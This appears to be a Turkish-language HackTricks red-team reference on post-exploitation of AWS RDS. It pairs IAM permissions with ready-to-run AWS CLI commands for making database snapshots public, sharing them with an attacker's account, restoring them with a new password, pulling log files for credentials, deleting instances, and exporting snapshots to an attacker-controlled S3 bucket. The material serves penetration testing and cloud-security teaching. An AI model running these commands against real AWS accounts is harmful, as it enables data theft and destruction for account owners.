AWS - RDS Post Exploitation

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

RDS

Daha fazla bilgi için kontrol edin:

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Saldırgan yeterli izinlere sahipse, bir DB'yi halka açık hale getirebilir. Bunun için DB'nin bir anlık görüntüsünü oluşturur ve ardından bu anlık görüntüden halka açık bir DB oluşturur.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Bu izinlere sahip bir saldırgan, bir DB'nin bir anlık görüntüsünü oluşturabilir ve bunu halka açık hale getirebilir. Ardından, kendi hesabında bu anlık görüntüden bir DB oluşturabilir.

Eğer saldırganın rds:CreateDBSnapshot izni yoksa, yine de başka oluşturulmuş anlık görüntüleri halka açık hale getirebilir.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

rds:DownloadDBLogFilePortion izni olan bir saldırgan, bir RDS örneğinin günlük dosyalarının bölümlerini indirebilir. Hassas veriler veya erişim kimlik bilgileri yanlışlıkla kaydedilmişse, saldırgan bu bilgileri kullanarak ayrıcalıklarını yükseltebilir veya yetkisiz işlemler gerçekleştirebilir.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potansiyel Etki: Sızdırılan kimlik bilgilerini kullanarak hassas bilgilere erişim veya yetkisiz işlemler yapma.

rds:DeleteDBInstance

Bu izinlere sahip bir saldırgan, mevcut RDS örneklerini DoS edebilir.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potansiyel etki: Mevcut RDS örneklerinin silinmesi ve potansiyel veri kaybı.

rds:StartExportTask

TODO: Test

Bu izne sahip bir saldırgan, bir RDS örneği anlık görüntüsünü bir S3 kovasına aktarabilir. Saldırgan, hedef S3 kovasını kontrol ediyorsa, aktarılan görüntü içindeki hassas verilere potansiyel olarak erişebilir.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potansiyel etki: Dışa aktarılan anlık görüntüdeki hassas verilere erişim.

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated